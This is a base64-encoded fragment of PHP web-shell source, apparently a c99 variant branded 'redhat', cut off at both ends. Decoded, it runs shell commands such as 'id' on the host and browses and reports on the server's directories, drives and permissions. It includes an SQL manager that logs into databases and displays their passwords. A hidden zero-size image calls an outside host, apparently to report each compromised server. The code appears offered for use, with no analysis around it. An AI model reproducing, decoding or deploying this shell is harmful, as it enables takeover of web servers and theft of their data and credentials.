Z21kYXRlKCJELCBkIE0gWSBIOmk6cyIpLiIgR01UIik7CmhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsKaGVhZGVyKCJDYWNoZS1Db250cm9sOiBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIiwgRkFMU0UpOwpoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsKaWYgKGVtcHR5KCR0bXBkaXIpKQp7CiAkdG1wZGlyID0gaW5pX2dldCgidXBsb2FkX3RtcF9kaXIiKTsKIGlmIChpc19kaXIoJHRtcGRpcikpIHskdG1wZGlyID0gIi90bXAvIjt9Cn0KJHRtcGRpciA9IHJlYWxwYXRoKCR0bXBkaXIpOwokdG1wZGlyID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0bXBkaXIpOwppZiAoc3Vic3RyKCR0bXBkaXIsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdG1wZGlyIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQppZiAoZW1wdHkoJHRtcGRpcl9sb2dzKSkgeyR0bXBkaXJfbG9ncyA9ICR0bXBkaXI7fQplbHNlIHskdG1wZGlyX2xvZ3MgPSByZWFscGF0aCgkdG1wZGlyX2xvZ3MpO30KaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikKewogJHNhZmVtb2RlID0gVFJVRTsKICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9cmVkPk9OIChzZWN1cmUpPC9mb250PiI7Cn0KZWxzZSB7JHNhZmVtb2RlID0gRkFMU0U7ICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iO30KJHYgPSBAaW5pX2dldCgib3Blbl9iYXNlZGlyIik7CmlmICgkdiBvciBzdHJ0b2xvd2VyKCR2KSA9PSAib24iKSB7JG9wZW5iYXNlZGlyID0gVFJVRTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1yZWQ+Ii4kdi4iPC9mb250PiI7fQplbHNlIHskb3BlbmJhc2VkaXIgPSBGQUxTRTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vdCBzZWN1cmUpPC9mb250PiI7fQokc29ydCA9IGh0bWxzcGVjaWFsY2hhcnMoJHNvcnQpOwppZiAoZW1wdHkoJHNvcnQpKSB7JHNvcnQgPSAkc29ydF9kZWZhdWx0O30KJHNvcnRbMV0gPSBzdHJ0b2xvd2VyKCRzb3J0WzFdKTsKJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsKaWYgKCFlcmVnKCJQSFAvIi5waHB2ZXJzaW9uKCksJERJU1BfU0VSVkVSX1NPRlRXQVJFKSkgeyRESVNQX1NFUlZFUl9TT0ZUV0FSRSAuPSAiLiBQSFAvIi5waHB2ZXJzaW9uKCk7fQokRElTUF9TRVJWRVJfU09GVFdBUkUgPSBzdHJfcmVwbGFjZSgiUEhQLyIucGhwdmVyc2lvbigpLCI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXBocGluZm9cIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj48dT5QSFAvIi5waHB2ZXJzaW9uKCkuIjwvdT48L2I+PC9hPiIsaHRtbHNwZWNpYWxjaGFycygkRElTUF9TRVJWRVJfU09GVFdBUkUpKTsKQGluaV9zZXQoImhpZ2hsaWdodC5iZyIsJGhpZ2hsaWdodF9iZyk7CkBpbmlfc2V0KCJoaWdobGlnaHQuY29tbWVudCIsJGhpZ2hsaWdodF9jb21tZW50KTsKQGluaV9zZXQoImhpZ2hsaWdodC5kZWZhdWx0IiwkaGlnaGxpZ2h0X2RlZmF1bHQpOwpAaW5pX3NldCgiaGlnaGxpZ2h0Lmh0bWwiLCRoaWdobGlnaHRfaHRtbCk7CkBpbmlfc2V0KCJoaWdobGlnaHQua2V5d29yZCIsJGhpZ2hsaWdodF9rZXl3b3JkKTsKQGluaV9zZXQoImhpZ2hsaWdodC5zdHJpbmciLCRoaWdobGlnaHRfc3RyaW5nKTsKaWYgKCFpc19hcnJheSgkYWN0Ym94KSkgeyRhY3Rib3ggPSBhcnJheSgpO30KJGRzcGFjdCA9ICRhY3QgPSBodG1sc3BlY2lhbGNoYXJzKCRhY3QpOwokZGlzcF9mdWxscGF0aCA9ICRsc19hcnIgPSAkbm90bHMgPSBudWxsOwokdWQgPSB1cmxlbmNvZGUoJGQpOwo/PjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1MSI+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiPjx0aXRsZT48P3BocCBlY2hvIGdldGVudigiSFRUUF9IT1NUIik7ID8+IC0gcGhwc2hlbGw8L3RpdGxlPjxTVFlMRT5URCB7IEZPTlQtU0laRTogOHB0OyBDT0xPUjogI2ViZWJlYjsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7fUJPRFkgeyBzY3JvbGxiYXItZmFjZS1jb2xvcjogIzgwMDAwMDsgc2Nyb2xsYmFyLXNoYWRvdy1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLTNkbGlnaHQtY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci1kYXJrc2hhZG93LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItdHJhY2stY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci1hcnJvdy1jb2xvcjogIzEwMTAxMDsgZm9udC1mYW1pbHk6IFZlcmRhbmE7fVRELmhlYWRlciB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IEZPTlQtU0laRTogMTBwdDsgQkFDS0dST1VORDogIzdkNzQ3NDsgQ09MT1I6IHdoaXRlOyBGT05ULUZBTUlMWTogdmVyZGFuYTt9QSB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9SOiAjZGFkYWRhOyBGT05ULUZBTUlMWTogdmVyZGFuYTsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BOnVua25vd24geyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2ZmZmZmZjsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QS5MaW5rcyB7IENPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmU7fUEuTGlua3M6dW5rbm93biB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmU7fUE6aG92ZXIgeyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiB1bmRlcmxpbmU7fS5za2luMHtwb3NpdGlvbjphYnNvbHV0ZTsgd2lkdGg6MjAwcHg7IGJvcmRlcjoycHggc29saWQgYmxhY2s7IGJhY2tncm91bmQtY29sb3I6bWVudTsgZm9udC1mYW1pbHk6VmVyZGFuYTsgbGluZS1oZWlnaHQ6MjBweDsgY3Vyc29yOmRlZmF1bHQ7IHZpc2liaWxpdHk6aGlkZGVuOzt9LnNraW4xe2N1cnNvcjogZGVmYXVsdDsgZm9udDogbWVudXRleHQ7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgd2lkdGg6IDE0NXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiBtZW51OyBib3JkZXI6IDEgc29saWQgYnV0dG9uZmFjZTt2aXNpYmlsaXR5OmhpZGRlbjsgYm9yZGVyOiAyIG91dHNldCBidXR0b25oaWdobGlnaHQ7IGZvbnQtZmFtaWx5OiBWZXJkYW5hLEdlbmV2YSwgQXJpYWw7IGZvbnQtc2l6ZTogMTBweDsgY29sb3I6IGJsYWNrO30ubWVudWl0ZW1ze3BhZGRpbmctbGVmdDoxNXB4OyBwYWRkaW5nLXJpZ2h0OjEwcHg7O31pbnB1dHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O310ZXh0YXJlYXtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31idXR0b257YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9c2VsZWN0e2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fW9wdGlvbiB7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9aWZyYW1lIHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31wIHtNQVJHSU4tVE9QOiAwcHg7IE1BUkdJTi1CT1RUT006IDBweDsgTElORS1IRUlHSFQ6IDE1MCV9YmxvY2txdW90ZXsgZm9udC1zaXplOiA4cHQ7IGZvbnQtZmFtaWx5OiBDb3VyaWVyLCBGaXhlZCwgQXJpYWw7IGJvcmRlciA6IDhweCBzb2xpZCAjQTlBOUE5OyBwYWRkaW5nOiAxZW07IG1hcmdpbi10b3A6IDFlbTsgbWFyZ2luLWJvdHRvbTogNWVtOyBtYXJnaW4tcmlnaHQ6IDNlbTsgbWFyZ2luLWxlZnQ6IDRlbTsgYmFja2dyb3VuZC1jb2xvcjogI0I3QjJCMDt9Ym9keSx0ZCx0aCB7IGZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBjb2xvcjogI2Q5ZDlkOTsgZm9udC1zaXplOiAxMXB4O31ib2R5IHsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDt9PC9zdHlsZT48L2hlYWQ+PEJPRFkgdGV4dD0jZmZmZmZmIGJvdHRvbU1hcmdpbj0wIGJnQ29sb3I9IzAwMDAwMCBsZWZ0TWFyZ2luPTAgdG9wTWFyZ2luPTAgcmlnaHRNYXJnaW49MCBtYXJnaW5oZWlnaHQ9MCBtYXJnaW53aWR0aD0wPjxjZW50ZXI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9IiNDMEMwQzAiPjx0cj48dGggd2lkdGg9IjEwMSUiIGhlaWdodD0iMTUiIG5vd3JhcCBib3JkZXJjb2xvcj0iI0MwQzBDMCIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwPjxmb250IGZhY2U9V2ViZGluZ3Mgc2l6ZT02PjxiPiE8L2I+PC9mb250PjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSI1Ij48Yj5yZWRoYXQgdi4gPD9waHAgZWNobyAkc2h2ZXI7ID8+PC9iPjwvZm9udD48L2E+PGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PC9wPjwvY2VudGVyPjwvdGg+PC90cj48dHI+PHRkPjxwIGFsaWduPSJsZWZ0Ij48aW1nIHNyYz0iaHR0cDovL2Rxb2tiZ2Z1ejN2aHoydTlqMnZ1enljN2Rxb25jaXJoZHhyb2lkMGcuaGFuaHRyYW5nc2luaHZpZW4ubmV0L2M5OS5qcGciIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjxiPlNvZnR3YXJlOiZuYnNwOzw/cGhwIGVjaG8gJERJU1BfU0VSVkVSX1NPRlRXQVJFOyA/PjwvYj4mbmJzcDs8L3A+PHAgYWxpZ249ImxlZnQiPjxiPnVuYW1lIC1hOiZuYnNwOzw/cGhwIGVjaG8gd29yZHdyYXAocGhwX3VuYW1lKCksOTAsIjxicj4iLDEpOyA/PjwvYj4mbmJzcDs8L3A+PHAgYWxpZ249ImxlZnQiPjxiPjw/cGhwIGlmICghJHdpbikge2VjaG8gd29yZHdyYXAobXlzaGVsbGV4ZWMoImlkIiksOTAsIjxicj4iLDEpO30gZWxzZSB7ZWNobyBnZXRfY3VycmVudF91c2VyKCk7fSA/PjwvYj4mbmJzcDs8L3A+PHAgYWxpZ249ImxlZnQiPjxiPlNhZmUtbW9kZTombmJzcDs8P3BocCBlY2hvICRoc2FmZW1vZGU7ID8+PC9iPjwvcD48cCBhbGlnbj0ibGVmdCI+PD9waHAKJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwppZiAoZW1wdHkoJGQpKSB7JGQgPSByZWFscGF0aCgiLiIpO30gZWxzZWlmKHJlYWxwYXRoKCRkKSkgeyRkID0gcmVhbHBhdGgoJGQpO30KJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwppZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiRkID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGQpOwokZGlzcGQgPSBodG1sc3BlY2lhbGNoYXJzKCRkKTsKJHBkID0gJGUgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1Isc3Vic3RyKCRkLDAsLTEpKTsKJGkgPSAwOwpmb3JlYWNoKCRwZCBhcyAkYikKewogJHQgPSAiIjsKICRqID0gMDsKIGZvcmVhY2ggKCRlIGFzICRyKQogewogICR0Lj0gJHIuRElSRUNUT1JZX1NFUEFSQVRPUjsKICBpZiAoJGogPT0gJGkpIHticmVhazt9CiAgJGorKzsKIH0KIGVjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLnVybGVuY29kZSgkdCkuIiZzb3J0PSIuJHNvcnQuIlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkYikuRElSRUNUT1JZX1NFUEFSQVRPUi4iPC9iPjwvYT4iOwogJGkrKzsKfQplY2hvICImbmJzcDsmbmJzcDsmbmJzcDsiOwppZiAoaXNfd3JpdGFibGUoJGQpKQp7CiAkd2QgPSBUUlVFOwogJHdkdCA9ICI8Zm9udCBjb2xvcj1ncmVlbj5bIG9rIF08L2ZvbnQ+IjsKIGVjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPiIudmlld19wZXJtcyhmaWxlcGVybXMoJGQpKS4iPC9mb250PjwvYj4iOwp9CmVsc2UKewogJHdkID0gRkFMU0U7CiAkd2R0ID0gIjxmb250IGNvbG9yPXJlZD5bIFJlYWQtT25seSBdPC9mb250PiI7CiBlY2hvICI8Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+IjsKfQppZiAoaXNfY2FsbGFibGUoImRpc2tfZnJlZV9zcGFjZSIpKQp7CiAkZnJlZSA9IGRpc2tfZnJlZV9zcGFjZSgkZCk7CiAkdG90YWwgPSBkaXNrX3RvdGFsX3NwYWNlKCRkKTsKIGlmICgkZnJlZSA9PT0gRkFMU0UpIHskZnJlZSA9IDA7fQogaWYgKCR0b3RhbCA9PT0gRkFMU0UpIHskdG90YWwgPSAwO30KIGlmICgkZnJlZSA8IDApIHskZnJlZSA9IDA7fQogaWYgKCR0b3RhbCA8IDApIHskdG90YWwgPSAwO30KICR1c2VkID0gJHRvdGFsLSRmcmVlOwogJGZyZWVfcGVyY2VudCA9IHJvdW5kKDEwMC8oJHRvdGFsLyRmcmVlKSwyKTsKIGVjaG8gIjxicj48Yj5GcmVlICIudmlld19zaXplKCRmcmVlKS4iIG9mICIudmlld19zaXplKCR0b3RhbCkuIiAoIi4kZnJlZV9wZXJjZW50LiIlKTwvYj4iOwp9CmVjaG8gIjxicj4iOwokbGV0dGVycyA9ICIiOwppZiAoJHdpbikKewogJHYgPSBleHBsb2RlKCJcXCIsJGQpOwogJHYgPSAkdlswXTsKIGZvcmVhY2ggKHJhbmdlKCJhIiwieiIpIGFzICRsZXR0ZXIpCiB7CiAgJGJvb2wgPSAkaXNkaXNrZXR0ZSA9IGluX2FycmF5KCRsZXR0ZXIsJHNhZmVtb2RlX2Rpc2tldHRlcyk7CiAgaWYgKCEkYm9vbCkgeyRib29sID0gaXNfZGlyKCRsZXR0ZXIuIjpcXCIpO30KICBpZiAoJGJvb2wpCiAgewogICAkbGV0dGVycyAuPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIudXJsZW5jb2RlKCRsZXR0ZXIuIjpcXCIpLiJcIiIuKCRpc2Rpc2tldHRlPyIgb25jbGljaz1cInJldHVybiBjb25maXJtKCdNYWtlIHN1cmUgdGhhdCB0aGUgZGlza2V0dGUgaXMgaW5zZXJ0ZWQgcHJvcGVybHksIG90aGVyd2lzZSBhbiBlcnJvciBtYXkgb2NjdXIuJylcIiI6IiIpLiI+WyAiOwogICBpZiAoJGxldHRlci4iOiIgIT0gJHYpIHskbGV0dGVycyAuPSAkbGV0dGVyO30KICAgZWxzZSB7JGxldHRlcnMgLj0gIjxmb250IGNvbG9yPWdyZWVuPiIuJGxldHRlci4iPC9mb250PiI7fQogICAkbGV0dGVycyAuPSAiIF08L2E+ICI7CiAgfQogfQogaWYgKCFlbXB0eSgkbGV0dGVycykpIHtlY2hvICI8Yj5EZXRlY3RlZCBkcml2ZXM8L2I+OiAiLiRsZXR0ZXJzLiI8YnI+Ijt9Cn0KaWYgKGNvdW50KCRxdWlja2xhdW5jaCkgPiAwKQp7CiBmb3JlYWNoKCRxdWlja2xhdW5jaCBhcyAkaXRlbSkKIHsKICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlZCIsdXJsZW5jb2RlKCRkKSwkaXRlbVsxXSk7CiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXNvcnQiLCRzb3J0LCRpdGVtWzFdKTsKICAkdiA9IHJlYWxwYXRoKCRkLiIuLiIpOwogIGlmIChlbXB0eSgkdikpIHskYSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7IHVuc2V0KCRhW2NvdW50KCRhKS0yXSk7ICR2ID0gam9pbihESVJFQ1RPUllfU0VQQVJBVE9SLCRhKTt9CiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXVwZCIsdXJsZW5jb2RlKCR2KSwkaXRlbVsxXSk7CiAgZWNobyAiPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOwogfQp9CmVjaG8gIjwvcD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsKaWYgKCghZW1wdHkoJGRvbmF0ZWRfaHRtbCkpIGFuZCAoaW5fYXJyYXkoJGFjdCwkZG9uYXRlZF9hY3QpKSkge2VjaG8gIjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2VcIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPVwiMTAwJVwiIHZhbGlnbj1cInRvcFwiPiIuJGRvbmF0ZWRfaHRtbC4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7fQplY2hvICI8VEFCTEUgc3R5bGU9XCJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlXCIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD1cIjEwMCVcIiB2YWxpZ249XCJ0b3BcIj4iOwppZiAoJGFjdCA9PSAiIikgeyRhY3QgPSAkZHNwYWN0ID0gImxzIjt9CmlmICgkYWN0ID09ICJzcWwiKQp7CiAkc3FsX3N1cmwgPSAkc3VybC4iYWN0PXNxbCI7CiBpZiAoJHNxbF9sb2dpbikgIHskc3FsX3N1cmwgLj0gIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pO30KIGlmICgkc3FsX3Bhc3N3ZCkgeyRzcWxfc3VybCAuPSAiJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTt9CiBpZiAoJHNxbF9zZXJ2ZXIpIHskc3FsX3N1cmwgLj0gIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7fQogaWYgKCRzcWxfcG9ydCkgICB7JHNxbF9zdXJsIC49ICImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7fQogaWYgKCRzcWxfZGIpICAgICB7JHNxbF9zdXJsIC49ICImc3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTt9CiAkc3FsX3N1cmwgLj0gIiYiOwogPz48aDM+QXR0ZW50aW9uISBTUUwtTWFuYWdlciBpcyA8dT5OT1Q8L3U+IHJlYWR5IG1vZHVsZSEgRG9uJ3QgcmVwb3J0cyBidWdzLjwvaDM+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9IiNDMEMwQzAiPjx0cj48dGQgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PD9waHAKIGlmICgkc3FsX3NlcnZlcikKIHsKICAkc3FsX3NvY2sgPSBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyLiI6Ii4kc3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsKICAkZXJyID0gbXlzcWxfc21hcnRlcnJvcigpOwogIEBteXNxbF9zZWxlY3RfZGIoJHNxbF9kYiwkc3FsX3NvY2spOwogIGlmICgkc3FsX3F1ZXJ5IGFuZCAkc3VibWl0KSB7JHNxbF9xdWVyeV9yZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jayk7ICRzcWxfcXVlcnlfZXJyb3IgPSBteXNxbF9zbWFydGVycm9yKCk7fQogfQogZWxzZSB7JHNxbF9zb2NrID0gRkFMU0U7fQogZWNobyAiPGI+U1FMIE1hbmFnZXI6PC9iPjxicj4iOwogaWYgKCEkc3FsX3NvY2spCiB7CiAgaWYgKCEkc3FsX3NlcnZlcikge2VjaG8gIk5PIENPTk5FQ1RJT04iO30KICBlbHNlIHtlY2hvICI8Y2VudGVyPjxiPkNhbid0IGNvbm5lY3Q8L2I+PC9jZW50ZXI+IjsgZWNobyAiPGI+Ii4kZXJyLiI8L2I+Ijt9CiB9CiBlbHNlCiB7CiAgJHNxbHF1aWNrbGF1bmNoID0gYXJyYXkoKTsKICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJJbmRleCIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIik7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUXVlcnkiLCRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKSk7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyLXN0YXR1cyIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX2FjdD1zZXJ2ZXJzdGF0dXMiKTsKICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXIgdmFyaWFibGVzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXNlcnZlcnZhcnMiKTsKICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJQcm9jZXNzZXMiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF9hY3Q9cHJvY2Vzc2VzIik7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiTG9nb3V0Iiwkc3VybC4iYWN0PXNxbCIpOwogIGVjaG8gIjxjZW50ZXI+PGI+TXlTUUwgIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iIChwcm90byB2LiIubXlzcWxfZ2V0X3Byb3RvX2luZm8gKCkuIikgcnVubmluZyBpbiAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiI6Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiBhcyAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIkAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiIgKHBhc3N3b3JkIC0gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIik8L2I+PGJyPiI7CiAgaWYgKGNvdW50KCRzcWxxdWlja2xhdW5jaCkgPiAwKSB7Zm9yZWFjaCgkc3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0pIHtlY2hvICJbIDxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj48Yj4iLiRpdGVtWzBdLiI8L2I+PC9hPiBdICI7fX0KICBlY2hvICI8L2NlbnRlcj4iOwogfQogZWNobyAiPC90ZD48L3RyPjx0cj4iOwogaWYgKCEkc3FsX3NvY2spIHs/Pjx0ZCB3aWR0aD0iMjglIiBoZWlnaHQ9IjEwMCIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGZvbnQgc2l6ZT0iNSI+IGkgPC9mb250PjwvY2VudGVyPjxsaT5JZiBsb2dpbiBpcyBudWxsLCBsb2dpbiBpcyBvd25lciBvZiBwcm9jZXNzLjxsaT5JZiBob3